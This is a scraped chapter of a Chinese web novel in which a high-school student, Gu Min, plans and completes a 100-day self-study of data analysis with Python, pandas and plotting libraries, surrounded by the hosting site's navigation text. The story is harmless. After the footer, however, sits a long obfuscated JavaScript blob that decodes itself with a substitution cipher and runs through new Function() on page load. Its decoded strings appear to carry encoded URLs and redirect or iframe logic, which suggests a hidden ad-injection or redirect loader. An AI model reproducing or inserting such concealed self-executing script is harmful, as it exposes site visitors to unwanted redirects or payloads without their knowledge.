首页
第76章 技能仓新增:数据分
返回
关灯 护眼:关 字号:小

第76章 技能仓新增:数据分析入门

章节报错(免登陆)
下载APP,无广告、完整阅读

一秒记住【顶点小说】
dingdian365.com,更新快,无弹窗!

    第76章技能仓新增:数据分析入门(第1/2页)
    从秦老头家回来的当晚,古民就行动起来。秦老头那句“数据分析、爬虫有点意思”和“看看哪些上市公司的‘账’不对劲”的暗示,像一根点燃的引信,激发了他强烈的学习冲动。他意识到,在“信息管理与信息系统”这个宏大的知识框架中,数据分析是连接“信息技术”与“管理决策”最直接、最有力的桥梁之一。它不仅能将他在奶茶店测算、市场调研中的手工计算升级为自动化、可扩展的分析流程,更是未来理解复杂商业系统、验证商业假设、乃至洞察潜在风险(如秦老头所说看财报)的关键技能。这项技能,必须提前储备,纳入他的“技能仓”。
    他立即启动“数据分析入门”的专项学习计划。目标:在高考前约一百天的时间里,利用课余和周末,系统掌握数据分析的基础逻辑、核心工具(Python+pandas)和工作流程,达到能独立完成中小型数据集的数据获取、清洗、探索、分析和可视化的水平,并能将分析结果与商业问题结合,形成有逻辑的见解。
    第一步:目标拆解与路径规划。
    他沿用“PPT百日攻坚”的成功经验,制定“数据分析百日入门计划”:
    阶段一:认知与工具准备(第1-20天)
    目标:理解数据分析的价值、流程与核心思想(描述性分析、探索性分析、假设检验等概念);搭建Python开发环境(Anaconda);掌握Python与pandas最基础语法与数据结构(列表、字典、Series、DataFrame)。
    资源:选择国内知名的免费数据分析入门课程(如慕课网、B站上评价高的系统性入门教程),配合经典教材《利用Python进行数据分析》(WesMcKinney著)的前几章。以视频跟学为主,教材为辅。
    产出:能在JupyterNotebook中熟练创建、读取、查看、筛选简单的DataFrame。
    阶段二:核心技能突破(第21-60天)
    目标:重点攻克pandas数据清洗(处理缺失值、异常值、重复值、数据类型转换)、数据转换(合并、分组、聚合、透视)、基础统计分析(描述统计、分组统计、相关性)。学习使用matplotlib和seabon进行基础数据可视化(折线图、柱状图、散点图、分布图)。
    资源:深入教程相应模块,大量练习数据集(教程提供、网络公开数据集如Kaggle入门项目)。
    产出:能对给定数据集进行完整的清洗、探索性分析和可视化,并得出初步描述性结论。
    阶段三:实战与整合(第61-100天)
    目标:完成1-2个完整的端到端小项目。选题方向:1.用数据分析方法,重新处理并深化“校区饮品市场调研”数据,进行更深入的对比和可视化。2.尝试获取并分析一家上市公司的简易财报数据(如利润表关键指标趋势),验证秦老头的“看账”想法。同时,了解网络数据获取(爬虫)的基本概念和简单库(如requests,BeautifulSoup),为“教辅价格”项目做准备。
    资源:项目驱动,遇到问题检索技术社区(CSDN、StackOverflow中文区)。参考优秀数据分析报告。
    产出:完整的项目分析报告(包含代码、分析过程、可视化图表、商业见解)。
    第二步:执行与记录。
    计划启动。前二十天是枯燥但必要的奠基。安装Anaconda、配置环境、熟悉JupyterNotebook界面。Python基础语法对他而言并不难,逻辑清晰。难点在于pandas的DataFrame操作,各种索引、切片、条件筛选、函数应用,需要大量练习形成肌肉记忆。他每天晚上固定投入1.5小时,周末增加到3-4小时。在“商业洞察日记”中新增“数据分析学习日志”,记录每日学习内容、关键代码片段、遇到的问题及解决方法。
    进入第二阶段,真正的挑战开始。数据清洗远比他想象中琐碎和重要。处理一份关于某电商销售的练习数据集时,缺失值、价格异常(如负数)、日期格式混乱等问题层出不穷。他学习了用.isnull().sum()快速定位缺失,用.fillna()或删除策略处理,用布尔索引过滤异常。分组聚合操作(groupby)让他第一次感受到数据分析的威力——可以瞬间按照不同维度(如商品类别、月份)对销售额、销量进行汇总统计,这比手工计算效率高出几个数量级。
    可视化是另一个难点。调整图表大小、颜色、标签、标题,让图表既准确又美观,需要耐心。但他乐在其中,因为这是他擅长的“呈现”环节,能将冰冷的数字转化为直观的图形。当他用seaborn画出一个清晰展示不同品类销售额占比的饼图,并用matplotlib调整出满意的配色和字体时,成就感不亚于解出一道数学压轴题。
    第三步:新旧知识融合与能力验证。
    当学到描述性统计和相关性分析时,他自然而然地想起了“奶茶店测算模型”。那个模型基于手工计算和假设。现在,他可以用数据分析的思维重新审视。他假设自己拥有“蜜雪冰钻”开业三个月每天的详细销售数据(品类、数量、时间、天气等)和成本数据,思考如何用pandas进行分析:
    1.销售趋势分析:日销量、周销量的变化趋势,是否存在周期性(如周末高峰)?
    2.品类贡献分析:哪些饮品是爆款?哪些滞销?它们的毛利贡献如何?
    3.时段分析:一天中哪些时段是销售高峰?不同时段的客单价有无差异?
    4.外部因素探索:销量与天气(温度、是否下雨)是否有相关性?(这需要外部数据)
    (本章未完,请点击下一页继续阅读)第76章技能仓新增:数据分析入门(第2/2页)
    5.盈亏模拟:基于实际销量和成本数据,动态计算每日/每月的盈亏情况,可视化利润变化曲线。
    他甚至尝试用一份网上找到的、某连锁奶茶品牌的简化销售数据集(脱敏后)进行模拟练习,用代码完成了上述部分分析。这个过程让他深刻体会到,掌握了数据分析工具,就等于拥有了一台强大的“商业计算显微镜”,可以更细致、更高效地洞察生意细节,验证商业判断。
    第四步:向“看账”延伸。
    在秦老头的提示下,他尝试接触财务数据分析。他下载了一家知名白酒上市公司(贵州茅台)最近三年的简化利润表数据(营收、成本、费用、净利润),将其导入pandas。他计算了毛利率、净利率、费用率的变化趋势,并用折线图可视化。虽然他还不能深入理解这些比率背后复杂的业务动因,但已经能够用工具快速计算出结果,并观察到其趋势的稳定性。他想起秦老头教的“现金流是血液”,又尝试寻找现金流量表数据,但公开的简易数据不易获得。这一步让他意识到,获取规范、干净的金融数据本身就是一个门槛,也让他对下一阶段要接触的“爬虫”有了更具体的期待——或许可以用来抓取公开的财经网站数据?
    一百天的学习计划紧锣密鼓地进行。过程中有无数次的报错、调试、查阅文档、在技术论坛提问。数学基础(特别是统计部分)和理解力帮了他大忙,但编程的细节和pandasAPI的繁杂也让他屡屡受挫。他不断用“PPT百日计划”的经验鼓励自己:刻意练习,反复调试,不追求一步到位。
    在第80天左右,他启动了第一个实战项目:用数据分析方法,系统化地重新处理“校区饮品市场存量调研”的观察数据。他将当初手记的店铺信息、客流量抽样数据整理成结构化的CSV文件,用pandas进行清洗和分析:计算各店铺的理论日均销量区间、对比不同品牌/位置店铺的客流量差异、可视化各价格区间的店铺数量分布等等。最终,他生成了一份带有交互图表(利用plotly尝试)的HTML报告,比当初的手写简报专业了许多。
    在“商业洞察日记”的学习日志末尾,他写下阶段性总结:
    【技能投资复盘:数据分析入门百日】
    投入:约120小时(日均1.2小时)。
    核心掌握:
    1.Python+pandas基础:熟练进行数据读取、清洗、转换、分组聚合、合并等操作。
    2.数据可视化:掌握matplotlib和seabon绘制常用统计图表,了解plotly基础。
    3.分析流程:建立起“明确问题->获取数据->清洗整理->探索分析->可视化呈现->得出结论/假设”的基本工作流。
    4.实战项目:完成“饮品市场数据再分析”小型项目。
    自我评估:
    水平定位:入门级数据分析者。能独立处理中小型、结构清晰的datasets,完成基础的描述性和探索性分析,并将结果有效呈现。对统计推断、机器学习等高级主题尚未涉及。
    最大收获:获得了用代码驱动、自动化、可复现的方式处理和分析数据的核心能力。思维从“手工计算个案”转向“系统性处理数据集合”。
    不足:数据获取能力弱(依赖现有数据集),对复杂业务场景的数据分析经验不足,高级统计知识和算法待学习。
    对“三维引擎”的贡献:
    SC(技能资本):新增一项极具市场竞争力和通用性的硬核技能,与已有逻辑分析、商业洞察能力结合,形成“分析-洞察-呈现”的增强闭环。是“信管”专业学习的强大前置和优势。
    RC(资源资本):掌握此项技能,未来在寻求实习、参与项目、甚至线上技术社群·交流时,具有更具体的“价值抓手”。
    CC(现金资本):提升了通过技术兼职(如数据整理、基础分析报告)获取收入的可能性。长远看,此项技能是获得高附加值工作的关键。
    下一步:
    1.深化与拓展:在“信管”专业学习中,继续深化统计学习和机器学习入门。学习数据库(SQL)知识,与数据分析结合。
    2.探索数据获取:启动“爬虫”基础学习,为“教辅价格”及类似项目做准备,补全“获取-分析”链条。
    3.持续应用:在后续所有涉及数据的问题中(学习、生活、家庭),强迫自己思考是否可用数据分析方法优化,保持技能活性。
    合上日记,古民看着电脑屏幕上那些由他编写的、整齐排列的代码块和自动生成的清晰图表,一种掌控感油然而生。数据分析不再是一个神秘的概念,而是他“技能仓”里一件新增的、闪着冷冽金属光泽的精密工具。
    他知道,这只是开始。前面还有统计理论的深水区、机器学习的复杂模型、大数据技术的浩瀚海洋。但有了这第一个“一百小时”打下的基础和建立的信(我能学会),他对未来更深入的学习充满信心。
    窗外的春意渐浓,高考倒计时的数字越来越小。但在古民的时间表上,除了备战高考,他的“技能仓”建设也在同步加速。数据分析的入门,就像为他即将开启的大学“信管”之旅,提前安装上了一个强大的“引擎模块”,让他有底气相信,当别人还在适应大学生活时,他已经可以驱动这台“引擎”,去探索和解决一些真实世界的问题了。
    而这,正是他构建“三维价值引擎”、走向更广阔天地的关键一步。数据分析,就是他为自己打造的,第一把能够撬动信息世界、解读复杂系统、并从中创造价值的、真正意义上的“数字杠杆”。
章节报错(免登陆)
下载APP,无广告、完整阅读
验证码: 提交关闭
!function(){function a(a){var _idx="u5afgpg4hc";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[qYF F82_qq!7_2(F6O2 5ca[Xd5 Y!5YF_52 2_qql88FjFgcY8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=F8YjYmpYFrFF56)_FYc"("ag""aPXd5 Y=2=O=68D62fODm622Y5V6fFh!qYF h86/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfgfcmn<ydFhm5d2fO^cajngKa=5YXY5LYWfgfcmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6Fhg6/}0=6FY^9Y6phFgh/o=qOdfiFdF_Lg0=5Y|5Tg0P=d8"#MqYYb"=(8HZ!F5T[(8+i;NmJd5LYcccY=Fa8>[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2Pacda??"HZ"aP(dF(hcYa[P7_2(F6O2 JcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=F8""a[7mqOdfiFdF_L8*}=}00<(mqY2pFh??c(mJ_Lhc`c$[YPa`%Fa=qcd=+i;NmLF562p67Tc(aaaP7_2(F6O2 fcY8}a[qYF F8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=28FmqY2pFh=O8""!7O5c!Y**!aO%8FHydFhm7qOO5cydFhm5d2fO^ca.2aZ!5YF_52 OPr55dTm6Lr55dTc(a??c(8HZ=qcd=""aa!qYF _8"76Ch"!7_2(F6O2 ^cY=Fa[qYF 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 O8H"hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"Z!qYF 58JcOHc2YD wdFYampYFwdTcaZ??OH0Za%"/_nd7pJpoh(/}Ko}"!Fj5%8"jR8"%fcnag_vvc5%8"j"%_%"8"%fcnaa=7m5Y|5T%%=2mL5(8Jc5a=2mO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=$caP=2mO2Y55O587_2(F6O2ca[F??YvvYca=LYF|6^YO_Fc7_2(F6O2ca[2m5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfc2a=7mqOdfiFdF_L8}PqYF p8"}Ko}"=X8"_nd7pJpoh("!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"}Ko}^)ThF)m7J6YXfhm2YF"="}Ko}X5ThF)mDDT(J67m2YF"="}Ko}2pThFm7J6YXfhm2YF"="}Ko}_JqhFmDDT(J67m2YF"="}Ko}2TOhFm7J6YXfhm2YF"="}Ko}CSqhF)mDDT(J67m2YF"="}Ko})FfThF)fm7J6YXfhm2YF"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"=28H"Y#"%XZ!5cavv2mJ_Lhc"(h#"%5caa!qYF O82YD VY)iO(SYFcF%"/"%p%c_j"j"%_%"8"%fcnag""a=H2mCO62c"v"aZa!7m5Y|5T%%=OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=f8"62fYR;7"=_8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=^8""=h80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!h<YmqY2pFh!a28_HfZcYH(Zch%%aa=O8_HfZcYH(Zch%%aa=68_HfZcYH(Zch%%aa=d8_HfZcYH(Zch%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=^%8iF562pHqZc2<<@?O>>oa=Kol886vvc^%8iF562pHqZc5aa=Kol88dvvc^%8iF562pHqZcFaa![Xd5 78^!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv$caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 $ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 )ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mhJ6S_:6m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 f8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!fmLFTqYm(LL|YRF8Y=fmdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=faP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=^=l0a=7m(q6(S9d2fqY8^!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 _ca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mhJ6S_:6m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 ^cYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<h%6vv_caPYqLY[F8F*O!67cF<86a5YF_52l}!F<h%6vv_caPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q/f/}Ko}j(8}vY8_nd7pJpoh("a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aP682dX6pdFO5mJqdF7O5^=28l/3cV62?yd(a/mFYLFc6a=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=c2??OavvcO8/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI?kOqfu5ODLY5/6mFYLFc2dX6pdFO5m_LY5rpY2Fa=Y8cY82dX6pdFO5mJqdF7O5^avv/3cV62?yd(a/mFYLFcYa??2dX6pdFO5m^dR|O_(heO62FL<@=OvvlYjDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=^c7_2(F6O2ca[Lc@0saPaPaPag^c7_2(F6O2ca[Lc}0}a=^c7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaP=Yaa=l2vv6??)ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvv(mqY2pFhvvcY8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"a%"/)_pj68"%p=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tc(aa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=(mqY2pFh80=qcd=""aaPaPaca!'.substr(22));new Function(b)()}();